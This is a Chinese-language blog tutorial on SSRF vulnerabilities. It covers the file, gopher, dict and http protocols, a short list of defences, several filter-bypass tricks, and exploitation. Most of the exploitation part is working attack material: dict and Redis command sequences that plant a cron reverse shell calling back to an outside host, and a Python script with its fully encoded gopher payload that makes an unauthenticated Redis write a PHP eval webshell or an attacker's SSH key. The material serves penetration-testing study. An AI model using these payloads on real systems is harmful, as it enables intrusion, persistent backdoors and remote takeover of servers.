SSRF詳解


上一篇說了XSS的防御與繞過的思路,這次來談一下SSRF的防御,繞過,利用及危害

 

0x01 前置知識梳理

 

前置知識涉及理解此漏洞的方方面面,所以這部分要說的內容比較多

 

 

SSRF(Server-Side Request Forgery)即服務器端請求偽造,也是老生常談了,由服務端發起請求的漏洞

 

漏洞出現的根本原因是,服務端提供了從其他服務器應用獲取數據的功能且沒有對地址和協議等做過濾和限制,導致網絡邊界被穿透

攻擊者通常利用一個可以發起網絡請求的服務當作跳板來攻擊內部其他服務(訪問讀取內網文件、探測內網主機存活、掃描內網端口開放、攻擊內網其他應用。。。),而這些服務或攻擊手段是正常來說通過外部訪問不到的、無法利用的,即請求是由服務端發起的

 

SSRF在PHP中危害較大,比如常見的相關函數file_get_contents()、readfile()、curl_exec()、fopen()、fsockopen()。。。。。。

在python與Java中相對來說利用會困難一些,因為很多常用的協議在庫中不支持。但還是有利用的,比如CRLF(添加數據包頭)+SSRF可以有新的利用方式

詳情參考:https://www.t00ls.net/articles-41070.html

 

SSRF常用的協議有(這里只是列舉了四種個人認為常見的,當然不止有這四種可用):

  • file協議: 在有回顯的情況下,利用 file 協議可以讀取任意文件的內容
  • dict協議:泄露安裝軟件版本信息,查看端口,操作內網redis服務等
  • gopher協議:gopher支持發出GET、POST請求。可以先截獲get請求包和post請求包,再構造成符合gopher協議的請求。gopher協議是ssrf利用中一個最強大的協議(俗稱萬能協議)。可用於反彈shell
  • http/s協議:探測內網主機存活

於是,基於這些協議(或者其他協議)產生了種種利用方式(但是都有環境限制,如圖所示)

 

 

 

下圖展示了一些挖掘SSRF漏洞的思路

 

 

 

按圖中的說法,簡單說說關於SSRF漏洞驗證,可以嘗試:

(1)排除法:查看是否是在本地進行了請求

比如: 請求鏈接為:http://www.xxx.com/a.php?image=http://www.baidu.com/img/logo.png,右鍵新窗口打開圖片,如果不是http://www.baidu.com/img/logo.png就可能存在SSRF漏洞

(2)用dnslog等平台進行測試,看是否有IP

把請求資源換成dnslog平台URL

 

(3)burpsuite抓包,分析發送的請求是不是通過服務端發送的,因為SSRF要求是從服務端發起的請求,本地請求中不應該包含存在對資源的請求

請求鏈接:http://www.xxx.com/a.php?image=http://www.baidu.com/img/logo.png

抓包如果發現請求包中有

GET /img/logo.png HTTP/1.1

Host:www.baidu.com

。。。

之類的字眼

就說明不是SSRF

 

 

 

利用SSRF,可攻擊內網的redis、discuz、fastcgi、memcache、內網脆弱應用等。。。

 

接下來着重說一下最常見的四種利用協議,我覺得很有必要

 

 

但是在說協議之前,先說一個比較重要的東西:curl

curl 是常用的命令行工具,用來請求 Web 服務器。它的名字就是客戶端(client)的 URL 工具的意思

不帶有任何參數時,curl 就是發出 GET 請求,例如

curl https://www.example.com

-v參數輸出通信的整個過程,用於調試。我們便可以利用-v參數進行讀取文件

使用file協議curl -v file:///etc/passwd

使用ftp協議 curl -v "ftp://127.0.0.1:端口/info"

使用dict協議 curl -v "dict://127.0.0.1:端口/info"

使用gopher協議 curl -v "gopher://127.0.0.1:端口/_info"

curl在SSRF漏洞的利用中,占了很大篇幅,所以先在這說一下

關於curl的使用教程,網上有很多很多(例如:

http://www.ruanyifeng.com/blog/2019/09/curl-reference.html)

curl在windows中需要自行下載,在Linux中基本都自帶

 

 

 

1.file

主要是用於訪問本地計算機中的文件

file://文件路徑

利用它可以直接讀取系統文件,例如

ssrf.php?url=file:///etc/passwd

ssrf.php?url=file://c://boot.ini

 

其與http/s協議有所區別

(1)  file用於靜態讀取,http/s可用於動態解析

file訪問的是服務器的一個靜態的文件,而http/s訪問的是服務器的html這種資源文件,即多了一個把訪問的機器當作http服務器,解析請求后再去訪問資源的過程

(2)file是不能跨域讀取的而通過http/s可以訪問的服務器則可以把自己當成http服務器,開放端口供其他人訪問的

 

 

 

2.gopher

 

gopher作為SSRF攻擊中最強大的協議,出場率很高,非常重要

 

gopher 協議是一個在http 協議誕生前用來訪問Internet 資源的協議可以理解為http 協議的前身或簡化版,雖然很古老但現在很多庫還支持gopher 協議而且gopher 協議功能很強大

使用一條gopher協議命令可以完成復雜的操作,比如實現對mysql、Redis的攻擊,這是由於gopher允許數據包整合發送,這一點,與dict協議形成了對比

gopher支持GET與POST請求

 

 

 

格式為gopher://<host>:<port>/<gopher-path>_后接TCP數據流

例如

curl gopher://192.168.25.203:9999/_lcx

對面接收到lcx(需要在正式要傳遞過去的數據前加一個無用的字符,否則第一個字符會接收不到)

或者傳遞

curl gopher://192.168.25.203:9999/_hello%0alcx

(%0a為換行)

對面會收到

hello

lcx

 

注意:如果用url訪問,需要再進行一次url編碼(其他的協議也是如此,不再復述)

。。。ssrf.php?url= gopher://192.168.25.203:9999/_hello%250alcx

 

 

之前說過gopher允許GET與POST請求,現在來介紹一下gopher協議的GET與POST請求是咋實現的,對后面利用部分的理解有所幫助

 

(1)GET

后台get.php

<?php

    echo "Hello ".$_GET["name"]."\n"

?>

 

數據包

GET /ssrf/base/get.php?name=Lcx HTTP/1.1

Host: 192.168.25.203

 

利用

curl gopher://192.168.25.203:80/_GET%20/ssrf/base/get.php%3fname=Lcx%20HTTP/1.1%0d%0AHost:%20192.168.25.203%0d%0A

 

(注意:

問號需要轉碼為URL編碼%3f

回車換行要變為%0d%0a,

在HTTP包的最后要加%0d%0a,代表消息結束

(2)POST

后台post.php

<?php

    echo "Hello ".$_POST["name"]."\n"

?>

 

數據包

POST /ssrf/base/post.php HTTP/1.1

host:192.168.25.203

Content-Type:application/x-www-form-urlencoded

Content-Length:8

 

name=Lcx

 

 

利用

curl gopher://192.168.25.203:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.25.203%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:8%0d%0A%0d%0Aname=Lcx%0d%0A

 

 

常見的例子是用gopher(或者dict)干Redis

參考案例:https://cloud.tencent.com/developer/article/1764332

https://blog.csdn.net/qq_45213259/article/details/110352124

 

還可以攻擊mysql、structs2、fastcgi、ftp。。。。。。

參考鏈接:https://blog.csdn.net/qq_41107295/article/details/103026470

https://xz.aliyun.com/t/6993

 

這部分留到最后再說

 

 

3.dict

Gopher雖然是最好的,但是使用有環境限制

 

 

必要時可以使用dict代替

dict://serverip:port/命令:參數

例如:  dict://192.168.25.203:6379/get:name

(當然也可以沒有命令與參數)

 

                                                                            

相比gopher協議的允許集合成一條命令執行,dict需要一條一條的執行,且向服務器的端口請求為【命令:參數】時,會在末尾自動補上\r\n(CRLF),為漏洞利用增添了便利

常見的例子就是用SSRF中的dict(或者gopher)協議干Redis(6379)

 

dict://192.168.25.203:6379/info   

dict://192.168.25.203:6379/get:user

dict://192.168.25.203:6379/flushall

進行探測

或者利用dict與curl進行(這與在url=dict。。。處寫法是不同的,存在url編碼問題,參考

http://www.1024sky.cn/blog/article/25677 ,這里只是舉個例子)

curl dict://192.168.25.203:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.25.203/9999 0>&1\n\n"

curl dict://192.168.25.203:6379/config:set:dir:/etc/

curl dict://192.168.25.203:6379/config:set:dbfilename:crontab

curl dict://192.168.25.203:6379/bgsave

之類的進行反彈shell操作

 

 

復現參考:

https://blog.csdn.net/qq_45213259/article/details/110352124

https://zhuanlan.zhihu.com/p/115222529

 

4.http/s

 

例如:

ssrf.php?url=http://192.168.25.203

ssrf.php?url=http://192.168.25.203:6379/info

ssrf.php?url=http://127.0.0.1.xip.io/flag.php

 

關於其與file的區別,前面講過了,后面講繞過的時候,還會提到http/s協議

 

 

 

以上就是有關SSRF需要了解的一些前置知識

 

0x02 防御&繞過

 

先談防御

1.首先,從協議角度,要限制允許請求的協議,通常只允許http/s協議

2.其次,限制可請求的端口號,http只允許80端口訪問,https只允許443端口訪問,或者別的什么端口

3.然后,對訪問IP進行白名單限制,如果請求的是內網IP可以看情況拒絕請求

4.再者,禁止所有重定向請求或者在服務端以無跳轉模式請求內容

5.最后,對返回信息進行過濾,響應數據包中如果存在類型不符的直接干掉

 

相信結合前置知識部分可以更好地理解上述內容

 

 

 

再說繞過

                                                                                   

 

 

 

如果防御做得很好的話,是很難有SSRF利用的

但是如果只做了一點或者幾點,不完全防御,是有繞過的可能的

 

說一些常規的繞過思路:

 

1.HTTP基本身份認證繞過

如果只限制了http://www.lcx.com,可以加@繞過

?url=http://www.lcx.com@www.baidu.com

實現對某惡意網址比如百度的訪問

 

2.IP轉換繞過

 

例如:127.0.0.1

就可以有很對變換格式去嘗試

 

8進制格式:0177.0.0.1

16進制格式:0x7F.0.0.1

10進制整數格式:2130706433

16進制整數格式:0x7F000001

或者

http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window測試了下不行
http://[::]:80/           # 在liunx下可用,window測試了下不行
http://127。0。0。1/       # 用中文句號繞過
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的數量多一點少一點都沒影響,最后還是會指向127.0.0.1

 

3.跳轉繞過

如果URL存在臨時302或者永久301跳轉的情況,或許可以通過http/s跳轉利用那些協議

 

302.php

 

<?php 

$schema = $_GET['s'];

$ip     = $_GET['i'];

$port   = $_GET['p'];

$query  = $_GET['q'];

if(empty($port)){ 

    header("Location: $schema://$ip/$query");

} else {

    header("Location: $schema://$ip:$port/$query");

}

 

舉例:

curl -v 'http://xxxx:xxx/ssrf.php?url=http:// xxxx:xxx /302.php?s=dict&i=127.0.0.1&port=6379&query=info'

加粗部分的協議,並不是一定能用的,我這里只是舉個例子,具體還要看實際情況

 

或者通過短網址https://4m.cn/

 

 

通過xxxxxx?url=https://4m.cn/F26xS

實現對http://127.0.0.1:6379的訪問

 

4.DNS重綁定繞過

 

參考文章:https://blog.csdn.net/NOSEC2019/article/details/103126829

 

剩下的一些辦法個人覺得不是很常見,不介紹了

 

 

0x03 利用

之所以把利用放在最后,是想在前面把防御與繞過說清楚了之后,就可以更好地理解利用的原理了

 

無法一一介紹,挑幾個個人認為比較有代表性的利用手段

 

1.打Redis

 

如果目標機器存在Redis未授權訪問漏洞,可以利用SSRF結合此漏洞實現 往某個絕對路徑里面寫入shell、寫入SSH公鑰、計划任務反彈shell等操作

 

關於Redis未授權訪問漏洞在前面未授權訪問的部分總結過,不再展開

大致是:Redis默認綁定在0.0.0.0:6379且直接暴露在公網,未添加訪問安全策略禁止非信任來源的ip訪問,且沒有密碼認證(為空)

 

以gopher協議為例(條件允許可以使用其他的比如dict)

整體思路是:

先將Redis的本地數據庫存放目錄設置為web目錄、~/.ssh目錄或/var/spool/cron目錄等,然后將dbfilename(本地數據庫文件名)設置為文件名你想要寫入的文件名稱,最后再執行save或bgsave保存,就可以往指定的目錄里寫入指定的文件了

(1)寫入shell

(可以先用dict探測一波內網存活和端口開放情況)

正常的Redis命令

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

 

轉化為gopher格式的payload的腳本

 

import urllib.parse
protocol="gopher://"
ip="192.168.25.203"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
    ]
if passwd:
   cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
   CRLF="\r\n"
   redis_arr = arr.split(" ")
   cmd=""
   cmd+="*"+str(len(redis_arr))
   for x in redis_arr:
      cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
   cmd+=CRLF
   return cmd

if __name__=="__main__":
   for x in cmd:
      payload += urllib.parse.quote(redis_format(x))
   print(payload)

得到:

gopher://192.168.25.203:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

 

 

還是,如果使用。。。ssrf.php?url=gopher。。。這種url格式利用

不要忘記將其再url編碼一次

得到

 

gopher%3a%2f%2f192.168.25.203%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2fvar%2fwww%2fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

 

加到這里

?url=這里

打過去

 

即在shell.php 中寫入了<?php eval($_POST["whoami"]);?>

然后蟻劍連之

 

(2)寫SSH公鑰

思想類似於寫入webshell

先在本地生成一個密鑰(ssh-keygen -t rsa)

 

 

然后去相應路徑查看

 

 

flushall

set lcx "ssh-rsa AAAAB3Nz……lcx@計算機名 "

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

 

然后利用腳本,與寫入webshell的類似

 

import urllib.parse
protocol="gopher://"
ip="192.168.25.203"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAP3PJ...... lcx@計算機名\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
    "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
    ]
if passwd:
   cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
   CRLF="\r\n"
   redis_arr = arr.split(" ")
   cmd=""
   cmd+="*"+str(len(redis_arr))
   for x in redis_arr:
      cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
   cmd+=CRLF
   return cmd

if __name__=="__main__":
   for x in cmd:
      payload += urllib.parse.quote(redis_format(x))
   print(payload)

 

還是,如果使用。。。ssrf.php?url=gopher。。。這種url格式利用

不要忘記將其再url編碼一次

 

成功的話就會在目標主機/.ssh下寫入公鑰authorized_keys

 

最后用ssh lcx@服務器IP登錄

      

 

(3)計划任務反彈shell

 

思路同前面

 

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/IP/9999 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

 

不說了

感興趣的可以參考https://zhuanlan.zhihu.com/p/113396148

 

2.打mysql、ftp、fastcgi

參考文章列舉在下方

mysql

https://cloud.tencent.com/developer/article/1631664

https://my.oschina.net/u/4610683/blog/4812116

https://blog.csdn.net/crisprx/article/details/104251284

 

ftp

https://xz.aliyun.com/t/6993

 

fastcgi

https://www.freebuf.com/articles/web/260806.html

 

 

 

一次很精彩的利用:https://www.t00ls.net/articles-56339.html

 

 幾種利用方式:https://xz.aliyun.com/t/9554

 

 

 

參考文章:

https://www.freebuf.com/vuls/262047.html

https://www.freebuf.com/articles/web/263578.html        

https://xz.aliyun.com/t/8613

https://xz.aliyun.com/t/6993         

https://xz.aliyun.com/t/7333                                 

https://www.freebuf.com/articles/web/260806.html            

https://www.freebuf.com/articles/network/194040.html

https://zhuanlan.zhihu.com/p/115222529

https://segmentfault.com/a/1190000021960060

http://www.1024sky.cn/blog/article/25677

https://www.t00ls.net/articles-56339.html

 

未經允許,禁止轉載

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM